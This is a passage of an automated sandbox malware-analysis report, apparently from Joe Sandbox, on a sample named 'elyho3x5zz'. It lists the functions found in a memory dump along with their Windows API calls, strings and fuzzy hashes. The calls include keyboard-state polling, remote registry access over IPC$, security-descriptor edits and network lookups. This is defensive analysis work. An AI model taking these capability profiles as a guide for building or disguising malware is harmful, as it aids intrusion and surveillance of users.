MoveWindow.USER32 ref: 00007FF629283198
InvalidateRect.USER32 ref: 00007FF6292831AB

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction ID: e0a1dbe3a14fa7ac30dbfc253b3c6bd7d56134e8025ad253ae1d046c330c25e8
Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction Fuzzy Hash: 55617172B296418BFB18CF69E944A6C77A6B7C8B84F508139DE09D3F58DF38D9059B00

Function 00007FF629294708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF629294795
GetDriveTypeW.KERNEL32 ref: 00007FF629294A03
wcscpy.LIBCMT ref: 00007FF629294AA7

Strings

removable, xrefs: 00007FF62929484A
unknown, xrefs: 00007FF62929498F
all, xrefs: 00007FF6292947A0
ramdisk, xrefs: 00007FF62929493F
network, xrefs: 00007FF6292948EC
fixed, xrefs: 00007FF629294890
cdrom, xrefs: 00007FF6292947F7

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: BuffCharDriveLowerTypewcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 1561581874-1000479233
Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction ID: 67eac4e8bd0182537758f65aada55580e76ba28c52e3dd4de72a0fa284024afa
Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction Fuzzy Hash: 2BD1D222E2A66681FE209F25DE401B973A1FFD4BD8F608231DA5D87794DF3CE945A301

Function 00007FF62927FF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF62927FFAC
SendMessageTimeoutW.USER32 ref: 00007FF6292800C8
GetClassNameW.USER32 ref: 00007FF62928013C
GetDlgCtrlID.USER32 ref: 00007FF629280193
GetWindowRect.USER32 ref: 00007FF6292801B9
GetParent.USER32 ref: 00007FF6292801D6
ScreenToClient.USER32 ref: 00007FF6292801E6
GetClassNameW.USER32 ref: 00007FF629280281
GetWindowTextW.USER32 ref: 00007FF6292802C1

Strings

%s%u, xrefs: 00007FF629280044

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
String ID: %s%u
API String ID: 1412819556-679674701
Opcode ID: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction ID: bac9d1e895ae7ca269ee47116760e48ef79f669211fb9ba17f0a0c39d1610493
Opcode Fuzzy Hash: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction Fuzzy Hash: 8EB1DD72B2A68296FF18CF21DE44AE877A0FB89B84F400031CA1E97685DF39E955D711

Function 00007FF629211504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,?,00000000,?,?,00007FF6292112EF), ref: 00007FF6292599AC
ExtractIconExW.SHELL32 ref: 00007FF6292599CD
LoadImageW.USER32 ref: 00007FF6292599EB
ExtractIconExW.SHELL32 ref: 00007FF629259A0C
SendMessageW.USER32 ref: 00007FF629259A2F
DestroyIcon.USER32 ref: 00007FF629259A3E
SendMessageW.USER32 ref: 00007FF629259A64
DestroyIcon.USER32 ref: 00007FF629259A73

Strings

P, xrefs: 00007FF6292599D3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction ID: 59e81c35b679686c0a37b95a10bf84b405794975deaf8dde85db7bb2306902c3
Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction Fuzzy Hash: 81619D36A2A6428AFF149F25DE4067937A0FBC5B98F140535EE0E83B99DF3DE440A741

Function 00007FF6292934E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF62929354D
LoadStringW.USER32 ref: 00007FF629293571
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6292936CB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6292936E7

Strings

"%s" (%d) : ==> %s:, xrefs: 00007FF6292936D9
^ ERROR, xrefs: 00007FF62929364A
Error: , xrefs: 00007FF62929367B
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF6292936B2
Line %d (File "%s"):, xrefs: 00007FF6292935C0

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-2391861430
Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction ID: 28f20debad60fff77de5703bb920b712fb73ffbe3abe0d51f60ed4397f25af38
Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction Fuzzy Hash: 56718E22A3AA4292FF00DF61EE804E97320FBC4784F804032EA5D9769ADF7DE506D741

Function 00007FF62927C034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON

Download Yara Rule

APIs

WNetAddConnection2W.MPR ref: 00007FF62927C143
RegConnectRegistryW.ADVAPI32 ref: 00007FF62927C164
RegOpenKeyExW.ADVAPI32 ref: 00007FF62927C193
RegQueryValueExW.ADVAPI32 ref: 00007FF62927C1CD
CLSIDFromString.OLE32 ref: 00007FF62927C1F4
RegCloseKey.ADVAPI32 ref: 00007FF62927C203
RegCloseKey.ADVAPI32 ref: 00007FF62927C20E

Strings

\CLSID, xrefs: 00007FF62927C0A6
SOFTWARE\Classes\, xrefs: 00007FF62927C088
\IPC$, xrefs: 00007FF62927C118

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 3030280669-22481851
Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction ID: 2e61f644339aac79044010b996a1012842913f5433f4f61469e077346f9aa3ed
Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction Fuzzy Hash: 2B51C12262AA8285FF10DFA4ED806E977A0FBC5384F401031EA4D97AB9DF3CD589D701

Function 00007FF6292BAD1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

MoveWindow.USER32 ref: 00007FF6292BAE48
CreateCompatibleDC.GDI32 ref: 00007FF6292BAE50
SendMessageW.USER32 ref: 00007FF6292BAE67
SelectObject.GDI32 ref: 00007FF6292BAE73
GetPixel.GDI32 ref: 00007FF6292BAE81
DeleteDC.GDI32 ref: 00007FF6292BAE8C
GetWindowLongW.USER32 ref: 00007FF6292BAE9A
SetLayeredWindowAttributes.USER32 ref: 00007FF6292BAEB4
DestroyWindow.USER32 ref: 00007FF6292BAEBE

Strings

static, xrefs: 00007FF6292BAD5D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
String ID: static
API String ID: 3821898125-2160076837
Opcode ID: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
Instruction ID: ebea3081a5b9dee582cc05cb9d3def1c9e12a5757e2064cd4b098e939b3d5f93
Opcode Fuzzy Hash: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
Instruction Fuzzy Hash: 1E416B3262978187EB708F25E954B5AB3A1FBC8790F504235DA9D87B98CF3CD444DB01

Function 00007FF62927C858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62927CD34: GetUserObjectSecurity.USER32 ref: 00007FF62927CD65
Part of subcall function 00007FF62927CD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF62927C65A), ref: 00007FF62927CD71
Part of subcall function 00007FF62927CD34: GetUserObjectSecurity.USER32 ref: 00007FF62927CD9C

Part of subcall function 00007FF62927CE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF62927C66F), ref: 00007FF62927CE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF62927C8E7
GetAclInformation.ADVAPI32 ref: 00007FF62927C921
GetLengthSid.ADVAPI32 ref: 00007FF62927C932
GetAce.ADVAPI32 ref: 00007FF62927C970
AddAce.ADVAPI32 ref: 00007FF62927C997
GetLengthSid.ADVAPI32 ref: 00007FF62927C9AF
GetLengthSid.ADVAPI32 ref: 00007FF62927C9D2
CopySid.ADVAPI32 ref: 00007FF62927C9E1
AddAce.ADVAPI32 ref: 00007FF62927CA27
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF62927CA4B
SetUserObjectSecurity.USER32 ref: 00007FF62927CA60

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction ID: f976eb1a10fd6a6f34d6635f72df10801ccb1a7b7f0658cb4b158b16a36fba36
Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction Fuzzy Hash: 8D61BC22B26A528AFF00DF71DD549FC37A4BB85B88B045035DE0AABB94DF38D945D341

Function 00007FF629287BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF629287BD0
GetAsyncKeyState.USER32 ref: 00007FF629287C3F
GetKeyState.USER32 ref: 00007FF629287C54
GetAsyncKeyState.USER32 ref: 00007FF629287C6D
GetKeyState.USER32 ref: 00007FF629287C7D
GetAsyncKeyState.USER32 ref: 00007FF629287C97
GetKeyState.USER32 ref: 00007FF629287CA7
GetAsyncKeyState.USER32 ref: 00007FF629287CC1
GetKeyState.USER32 ref: 00007FF629287CD1
GetAsyncKeyState.USER32 ref: 00007FF629287CEB
GetKeyState.USER32 ref: 00007FF629287CFB

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction ID: 5aa6cdc10263485090f80b1f275656b920b940be30e134fca45d2e8f90385fc9
Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction Fuzzy Hash: 9B41A022E2E2C155FF799F609E447797A98FB95B84F084039C689831C2CF1DE994A373

Function 00007FF6292A2A18 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF6292A2A8F
inet_addr.WSOCK32 ref: 00007FF6292A2AED
gethostbyname.WSOCK32 ref: 00007FF6292A2AFA
IcmpCreateFile.IPHLPAPI ref: 00007FF6292A2B08
IcmpSendEcho.IPHLPAPI ref: 00007FF6292A2BAD
IcmpCloseHandle.IPHLPAPI ref: 00007FF6292A2C77
WSACleanup.WSOCK32 ref: 00007FF6292A2C7D

Strings

Ping, xrefs: 00007FF6292A2B3F
5, xrefs: 00007FF6292A2B79

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
String ID: 5$Ping
API String ID: 1486594354-1972892582
Opcode ID: e10d707c2ccc8c8e229b93576497dc969839fee377a1bbf9481b12c7ce409e4d
Instruction ID: ff58806d0fe3b39cad45178ae9955312945c540a8e8285000ff9d07bf3920276
Opcode Fuzzy Hash: e10d707c2ccc8c8e229b93576497dc969839fee377a1bbf9481b12c7ce409e4d
Instruction Fuzzy Hash: 37717822A2AA4282FF20DF25DA9037D77A0FBC5B90F128531DA4D83792CF7CD441A706

Function 00007FF62924D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924D681

Strings

inf, xrefs: 00007FF62924D58A
NAN(IND), xrefs: 00007FF62924D5AF
nan(ind), xrefs: 00007FF62924D5BA
NAN(SNAN), xrefs: 00007FF62924D599
INF, xrefs: 00007FF62924D577
nan, xrefs: 00007FF62924D56C
NAN, xrefs: 00007FF62924D565
nan(snan), xrefs: 00007FF62924D5A4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction ID: 7d40a7003c0fec5ba9a3b781f593b9d20313376c10f7719ca24c73352092a719
Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction Fuzzy Hash: 8741A932A2AB4189FB10CF24E9417AD33A4EB88388F01553AEE5C87B94DF3CD425C741

Function 00007FF6292876D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000001,00007FF62925C8E3,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00007FF629213F7D), ref: 00007FF62928770E
LoadStringW.USER32 ref: 00007FF629287728
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF62928776B
MessageBoxW.USER32 ref: 00007FF6292877FF

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 00007FF629287755
Line %d:, xrefs: 00007FF629287781
Line %d (File "%s"):, xrefs: 00007FF629287792
Error: , xrefs: 00007FF6292877BE
., xrefs: 00007FF6292877DC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: HandleLoadMessageModuleStringwprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 4007322891-4153970271
Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction ID: 45cbd5b0841c41d6a419238c3cfa1744d35615422b2fe05e35b1f7cc30ae1ea5
Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction Fuzzy Hash: AC314D32A2AA8291FF10DF21ED415A97364FBC4BC4F805032EA8D8769ADF7CE519D741

Function 00007FF62927E08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629280730: GetClassNameW.USER32 ref: 00007FF62928075B

SendMessageW.USER32 ref: 00007FF62927E125
GetDlgCtrlID.USER32 ref: 00007FF62927E137
GetParent.USER32 ref: 00007FF62927E148
SendMessageW.USER32 ref: 00007FF62927E15C
GetDlgCtrlID.USER32 ref: 00007FF62927E168
GetParent.USER32 ref: 00007FF62927E177
SendMessageW.USER32 ref: 00007FF62927E18B

Strings

ListBox, xrefs: 00007FF62927E0DF
ComboBox, xrefs: 00007FF62927E0A6

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction ID: 59662d78f540a8cb90a831aa7ed9d2443d894ad9e94716bd587bcdc4c1b0b2bd
Opcode Fuzzy Hash: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction Fuzzy Hash: C031CE31A2AB8182FF10AF11EE111E87361BBC9BE0F444231DAAD877D6CF2CD5459711

Function 00007FF62927E1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629280730: GetClassNameW.USER32 ref: 00007FF62928075B

SendMessageW.USER32 ref: 00007FF62927E244
GetDlgCtrlID.USER32 ref: 00007FF62927E256
GetParent.USER32 ref: 00007FF62927E267
SendMessageW.USER32 ref: 00007FF62927E27B
GetDlgCtrlID.USER32 ref: 00007FF62927E287
GetParent.USER32 ref: 00007FF62927E296
SendMessageW.USER32 ref: 00007FF62927E2AA

Strings

ListBox, xrefs: 00007FF62927E1FF
ComboBox, xrefs: 00007FF62927E1C6

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction ID: a0436c96eca0a746301fb5300bcd3b460f6fcf86e36d8fa57493bb51388775e2
Opcode Fuzzy Hash: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction Fuzzy Hash: 3F31CB21A2AB8182FF10AF21EE541F97360BBC9BE0F444130DA9D877D6DF2CE5459752

Function 00007FF62928CA98 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF62928CAB8
gethostname.WSOCK32 ref: 00007FF62928CAD0
gethostbyname.WSOCK32 ref: 00007FF62928CADB
wcscpy.LIBCMT ref: 00007FF62928CB12
inet_ntoa.WSOCK32 ref: 00007FF62928CB38
wcscpy.LIBCMT ref: 00007FF62928CB61
WSACleanup.WSOCK32 ref: 00007FF62928CB6E
wcscpy.LIBCMT ref: 00007FF62928CB80

Strings

0.0.0.0, xrefs: 00007FF62928CB08

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
